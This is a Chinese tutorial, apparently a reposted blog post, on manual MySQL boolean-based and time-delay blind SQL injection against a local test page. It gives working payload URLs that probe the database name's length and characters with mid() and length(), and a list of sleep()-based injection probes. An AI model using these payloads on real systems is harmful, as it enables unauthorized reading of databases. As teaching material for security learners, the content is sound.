十几分钟让你学会MySQL布尔和延迟盲注手工操作

本文深入讲解SQL注入的基本原理,包括如何使用mid()、ORD()、Length()等函数进行数据库长度和名称的探测,以及利用延时注入方法进行精确判断。通过实例演示,读者将学会如何逐步获取数据库信息。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

作者:Max老白Gān丶
链接:http://www.lofter.com/lpost/1fefbc76_12d25dc31
来源:LOFTER

  • 注入常用到的几个函数


  •  
  •  

    1

    mid(str,1,3)

    字符串获取

    这里我们要看到123456789 从第一个字节也就是1开始获取到3就截止了
  •  

    1

    ORD()

    转换为ASCII码

    我们看到这里把a转换成了97 我们去看对照表
  •  

    1

    Length()

    统计字节长度

  •  

    1

    version()

    查看数据库版本 

  •  

    1

    database()

    查看数据库
  •  

    1

    user()

    查看当前用户


首先我们确定注入了验证要先获取数据库长度

1

2

and length(database())

or length(database())


  我们先看一下数据库中sqltest长度【其实就是7个】

小知识点:有数据用and 没数据用or

1

http://localhost/test.php?id=1and length(database()) >1 #

1

and length(database()) >1 #:

意思是数据库的长度是否大于1
没有变化以此类推
发现变换


这时候我们要确定他到底是多少字节

1

http://localhost/test.php?id=1' and length(database()) = 8 %23


他等于8吗?不等于

他等于6吗?不等于

他等于7返回正确页面说明他的字节是7



现在我们获取数据库名字:

1

http://localhost/test.php?id=1' and mid(database(),1,1) ='1'%23

1

mid(database(),1,1) ='1'

:它的意思是从第一个获取每次只取一个 它等于1吗?
很显然不等

然后修改后面的以此类推我们试到

1

http://localhost/test.php?id=1' and mid(database(),1,1) ='s'%23


返回true的正确页面

如果我们想获取第二位第三位怎么办?

1

2

3

4

5

6

7

mid(database(),2,1)

mid(database(),3,1)

mid(database(),4,1)

mid(database(),5,1)

mid(database(),6,1)

mid(database(),7,1)

http://localhost/test.php?id=1' and mid(database(),2,1)  ='q'%23


剩下的我就不一一获取了学习这样方式就明白了。

延时注入方法:

常用的判断语句:

1

2

3

4

5

6

7

8

9

' and if(1=0,1, sleep(10)) --+   

 

" and if(1=0,1, sleep(10)) --+

 

) and if(1=0,1, sleep(10)) --+

 

') and if(1=0,1, sleep(10)) --+

 

") and if(1=0,1, sleep(10)) --+



为什么我和布尔注入写在一个文章里面哪?因为他们操作的流程是差不多的。



延时了10秒确定存在注入。

获取数据库长度利用上面的知识:

1

'and if(length(database())=9,sleep(10),1)--+


意思是如果数据过长度等于9他就延时10秒

1

'and if(length(database())<6,sleep(10),1)--+


如果一开始不知道他长度可以用这个大致判断的长度然后用上面的等于确定
长度小于6吗?没有延迟不小于6


小于9吗?




延迟成功表名数据库小于9 也就是说数据库长度在6-9之间

1

'and if(length(database())=7,sleep(10),1)--+


一 一测试我们确定长度是7

获取数据库名字:

1

http://localhost/test.php?id=1' and if(mid(database(),1,1) ='s',sleep(10),1)--+


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值